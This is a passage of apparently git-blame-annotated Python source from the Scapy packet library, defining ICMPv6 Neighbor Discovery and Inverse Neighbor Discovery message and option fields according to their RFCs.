1828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
1829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # We only support ethernet
1830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
183177132687c31a9d3f30c3992c70eb24d1ac0948a7Philclass ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet):     # RFC 4140
1832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - MAP Option"
1833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 23),
1834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 3),
1835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("dist", 1, 4),
1836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("pref", 15, 4), # highest availability
1837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("R", 1, 1),
18380d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res", 0, 7),
1839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("validlifetime", 0xffffffff),
18400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6Field("addr", "::") ]
1841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18436057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass _IP6PrefixField(IP6Field):
1844b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["length_from"]
1845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
1846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, default)
1847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.length_from = lambda pkt: 8*(pkt.len - 1)
1848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
1850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s + self.i2m(pkt, val)
1851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
1853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
1854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = s[:l]
1855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l < 16:
18562a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            p += b'\x00'*(16-l)
1857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:], self.m2i(pkt,p)
1858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, x):
1860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, x))
18610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1862c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
1863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = pkt.len
1864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
1866c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = "::"
1867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if l is None:
1868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = 1
1869c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = inet_pton(socket.AF_INET6, x)
1870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l is None:
1872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
1873c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [0, 1]:
18741186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b""
1875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l in [2, 3]:
1876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x[:8*(l-1)]
1877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
18782a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return x + b'\x00'*8*(l-3)
1879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
1881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
1882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",24),
1883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="prefix", fmt="B",
188463ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x: x//8 + 1),
1885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", None),
1886c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1",0,3),
1887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("prf",0,2),
1888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res2",0,3),
1889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("rtlifetime", 0xffffffff),
18906057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                    _IP6PrefixField("prefix", None) ]
18910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
1893c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
1894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 25),
1895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="dns", fmt="B",
1896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
1897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("res", None),
1898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("lifetime", 0xffffffff),
18990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    IP6ListField("dns", [],
1900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*(pkt.len-1)) ]
1901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
1903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
1904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type", 26),
1905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", 1),
1906c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res", 0, 48) ]
1907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
19086057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
19096057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# described in section 3.1 of RFC 1035
19106057906368d55634d11e1d19a5cca1f127595b11Robin Jarry# XXX Label should be at most 63 octets in length : we do not enforce it
19116057906368d55634d11e1d19a5cca1f127595b11Robin Jarry#     Total length of domain should be 255 : we do not enforce it either
19126057906368d55634d11e1d19a5cca1f127595b11Robin Jarryclass DomainNameListField(StrLenField):
19136057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    __slots__ = ["padded"]
19146057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    islist = 1
19156057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    padded_unit = 8
19166057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19176057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def __init__(self, name, default, fld=None, length_from=None, padded=False):
19186057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        self.padded = padded
19196057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        StrLenField.__init__(self, name, default, fld, length_from)
19206057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19216057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2len(self, pkt, x):
19226057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return len(self.i2m(pkt, x))
19236057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19246057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def m2i(self, pkt, x):
1925d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        x = plain_str(x) # Decode bytes to string
19266057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        res = []
19276057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        while x:
19286057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            # Get a name until \x00 is reached
19296057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            cur = []
1930d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            while x and ord(x[0]) != 0:
1931d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                l = ord(x[0])
19326057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                cur.append(x[1:l+1])
19336057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[l+1:]
19346057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            if self.padded:
1935d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                # Discard following \x00 in padded mode
1936d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                if len(cur):
1937d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter                    res.append(".".join(cur) + ".")
19386057906368d55634d11e1d19a5cca1f127595b11Robin Jarry            else:
19396057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              # Store the current name
19406057906368d55634d11e1d19a5cca1f127595b11Robin Jarry              res.append(".".join(cur) + ".")
1941d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            if x and ord(x[0]) == 0:
19426057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                x = x[1:]
19436057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return res
19446057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19456057906368d55634d11e1d19a5cca1f127595b11Robin Jarry    def i2m(self, pkt, x):
19466057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        def conditionalTrailingDot(z):
1947d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter            if z and orb(z[-1]) == 0:
19486057906368d55634d11e1d19a5cca1f127595b11Robin Jarry                return z
19495e8857410015a93f6371459b2f870432ded39b9fgpotter            return z+b'\x00'
19506057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # Build the encode names
1951d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter        tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes
19525e8857410015a93f6371459b2f870432ded39b9fgpotter        ret_string  = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp)
19536057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19546057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        # In padded mode, add some \x00 bytes
19556057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        if self.padded and not len(ret_string) % self.padded_unit == 0:
19562a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit)
19576057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19586057906368d55634d11e1d19a5cca1f127595b11Robin Jarry        return ret_string
19596057906368d55634d11e1d19a5cca1f127595b11Robin Jarry
19602e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadonclass ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
19612e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
19622e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon    fields_desc = [ ByteField("type", 31),
196332b02729ef889d3d125ae3c69ad28d3f62356a49Guillaume Valadon                    FieldLenField("len", None, length_of="searchlist", fmt="B",
196463ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust=lambda pkt, x: 1+ x//8),
19652e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ShortField("res", None),
19662e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    IntField("lifetime", 0xffffffff),
19672e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    DomainNameListField("searchlist", [],
19682e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        length_from=lambda pkt: 8*pkt.len -8,
19692e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                                        padded=True)
19702e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon                    ]
19712e4998399cbf90a00e4700507cd519f51346e1f2Guillaume Valadon
1972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# End of ICMPv6 Neighbor Discovery Options.
1973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
1975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Solicitation"
1976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 133, icmp6types),
1977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("res",0) ]
1980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }}
1981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
1983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Router Advertisement"
1984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 134, icmp6types),
1985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1987c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("chlim",0),
1988c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("M",0,1),
1989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("O",0,1),
1990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("H",0,1),
1991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("prf",1,2, { 0: "Medium (default)",
1992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "High",
1993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Reserved",
1994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Low" } ), # RFC 4191
1995c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("P",0,1),
19960d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitField("res",0,2),
1997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("routerlifetime",1800),
1998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("reachabletime",0),
1999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("retranstimer",0) ]
2000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6ND_RS)
2004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
2007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",135, icmp6types),
2008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
20106695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IntField("res", 0),
2011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::") ]
2012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2013c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
2015c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (tgt: %tgt%)")
2016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
20185e8857410015a93f6371459b2f870432ded39b9fgpotter        return raw(self.tgt)+self.payload.hashret()
2019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
20206695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadonclass ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
20226695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    fields_desc = [ ByteEnumField("type",136, icmp6types),
20236695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    ByteField("code",0),
20246695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XShortField("cksum", None),
20256695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("R",1,1),
20266695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("S",0,1),
20276695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    BitField("O",1,1),
20286695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    XBitField("res",0,29),
20296695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon                    IP6Field("tgt","::") ]
20306695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
20316695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
20326695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def mysummary(self):
20336695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon        return self.sprintf("%name% (tgt: %tgt%)")
20346695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon
20356695b89afb63d30f9a8c2e424ba64765e5d699e5Guillaume Valadon    def hashret(self):
20365e8857410015a93f6371459b2f870432ded39b9fgpotter        return raw(self.tgt)+self.payload.hashret()
2037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2038c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
203977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
2040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# associated possible options : target link-layer option, Redirected header
2042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Neighbor Discovery - Redirect"
2044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",137, icmp6types),
2045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("res",0),
2048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("tgt","::"),
2049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("dst","::") ]
2050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ###############
2055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
2057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
2058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteField("type",9),
2059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addrlist", fmt="B",
2060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: 2*x+1),
20612a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("res", b"\x00"*6, 6),
2062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField("addrlist", [],
2063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*(pkt.len-1)) ]
2064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
2066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
20670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    type = 10
2068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# RFC3122
2071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises : source lladdr et target lladdr
2072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : source address list, MTU
2073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - Comme precise dans le document, il serait bien de prendre l'adresse L2
2074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   demandee dans l'option requise target lladdr et l'utiliser au niveau
2075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#   de l'adresse destination ethernet si aucune adresse n'est precisee
2076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
20770d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   les options.
2078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Ether() must use the target lladdr as destination
2079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
2080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
2081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",141, icmp6types),
2082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2087c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Options requises :  target lladdr, target address list
2088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Autres options valides : MTU
2089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
2091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",142, icmp6types),
2092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
2093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum",None),
2094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XIntField("reserved",0) ]
2095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }}
2096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2098c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# ICMPv6 Node Information Queries (RFC 4620)
2100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###############################################################################
2101c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Add automatic destination address computation using computeNIGroupAddr
2103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     in IPv6 class (Scapy6 modification when integrated) if :
2104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - it is not provided
2105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     - upper layer is ICMPv6NIQueryName() with a valid value
2106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Try to be liberal in what we accept as internal values for _explicit_
21070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     DNS elements provided by users. Any string should be considered
2108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     valid and kept like it has been provided. At the moment, i2repr() will
2109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     crash on many inputs
2110c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Do the documentation
2111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Add regression tests
21120d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Perform test against real machines (NOOP reply is proof of implementation).
21130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Check if there are differences between different stacks. Among *BSD,
21140d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     with others.
2115c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [ ] Deal with flags in a consistent way.
21160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# [ ] Implement compression in names2dnsrepr() and decompresiion in
21170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     dnsrepr2names(). Should be deactivable.
2118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6_niqtypes = { 0: "NOOP",
2120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  2: "Node Name",
